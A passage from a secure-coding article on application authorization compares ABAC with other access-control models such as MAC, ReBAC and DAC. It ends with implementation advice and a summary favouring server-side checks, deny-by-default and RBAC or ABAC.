There's considerable work to do here in addition to the defining of the policy itself that is beyond the scope of this article. To get a flavor for how something like this might be implemented, you can take a look at the repository for the DSL implementation that supports the example policy. Should you choose the path of using custom code, you will need to think about how much investment you are willing to make in the DSL itself and who owns the implementation. If you expect to have a large number of highly dynamic policies, a more sophisticated DSL might be worthwhile. An external DSL might be justified for cases in which non-programmers need to understand the policies. Otherwise, for cases of more limited scope and static policies, it's best to start simple with the goal of making the policies clear to their primary maintainers, the programmers, and letting the DSL evolve over the lifecycle of the project, always taking care that changes to the DSL do not break existing policy implementations. Creating in a DSL is not a must. You can use the same object-oriented, functional, or procedural coding style the rest of your application uses, and rely on strong design and refactoring practices to create clean code. The repo also includes an example with the same rules using a imperative, rather than declarative, approach. Consider ABAC when: Permissions are highly dynamic and simply changing user roles is going to be a significant maintenance headache The profile attributes on which permissions depend are already maintained for other purposes, such as managing an employee's HR profile Access control is sufficiently sensitive that control flows need to vary based on temporal attributes such as whether it's during the normal working hours of your employees You wish to have centralized policy with very fine-grained permissions, managed independently of your application code.   <h3>Other Ways to Model Policy</h3> The above are just two possible ways of modeling policy and will probably accommodate most situations. Although they are probably rare, situations do arise that don't fit well into RBAC or ABAC. Other approaches include: Mandatory access control (MAC): centrally-managed non-overridable policy based on subject and resource security attributes, such as Linux' LSM Relationship-based Access Control (ReBAC): policy that is largely determined by relationship between principals and resources Discretionary Access Control (DAC): policy approach that includes owner-managed permission control, as well as systems with transferable tokens of authority Rule-based Access Control: dynamic role or permission assignment based on a set of operator-programmed rules There is not universal agreement on when these approaches apply or even exactly how to define them. There is substantial overlap in the types of policies they allow operators to define. Before going down the path of choose a more esoteric approach, or inventing your own, be sure that RBAC or ABAC aren't reasonable approaches to modeling your policies.   <h3>Implementation Considerations</h3> Finally, here are a few words of advice to consider when implementing authorization in your application. Browser caches can really mess with your authorization model when users share browsers. Make sure that you set the Cache-Control header to „private, no-cache, no-store“ for resources so that your server-side

authorization code is called every time. You will inevitably have to make a decision whether to use a declarative or imperative approach to validation logic. There is no right or wrong here, but you will want to consider what provides the most clarity. Declarative mechanisms like the annotations that Spring Security provides can be concise and elegant, but if the authorization flow is complicated, the built-in expression language becomes convoluted and, arguably, you're better off writing well-factored code. Try to find a solution, whether custom or framework-based, that consolidates and reduces duplication of authorization logic. If you find your authorization code is scattered arbitrarily throughout your codebase, you are going to have a very hard time maintaining it, and that leads to security bugs. <h3>In Summary</h3> Authorization must always be checked on the server. Hiding user interface components is fine for user experience, but not an adequate security measure Deny by default. Positive validation is safer and less error prone than negative validation Code should authorize against specific resources such as files, profiles, or REST endpoints Authorization is domain specific, but there are some common patterns to consider when designing your permission model. Stick to common patterns and frameworks unless you have a very compelling reason not to Use RBAC for basic cases and keep permissions and roles decoupled to allow your policies to evolve For more complicated scenarios, consider ABAC, and use XACML or policies coded in the application's language   This article is an Evolving Publication. Our intention is to continue to describe basic techniques that developers could, and should, use to reduce the chances of a security breach. To find out when we expand the article, follow the site's RSS feed or Martin's twitter feed. We'll also announce updates on our twitter feeds: Cade Cairns and Daniel Somerfield <hr class=„bodySep“/> <h2>For articles on similar topics…</h2> …take a look at the following tags: </html>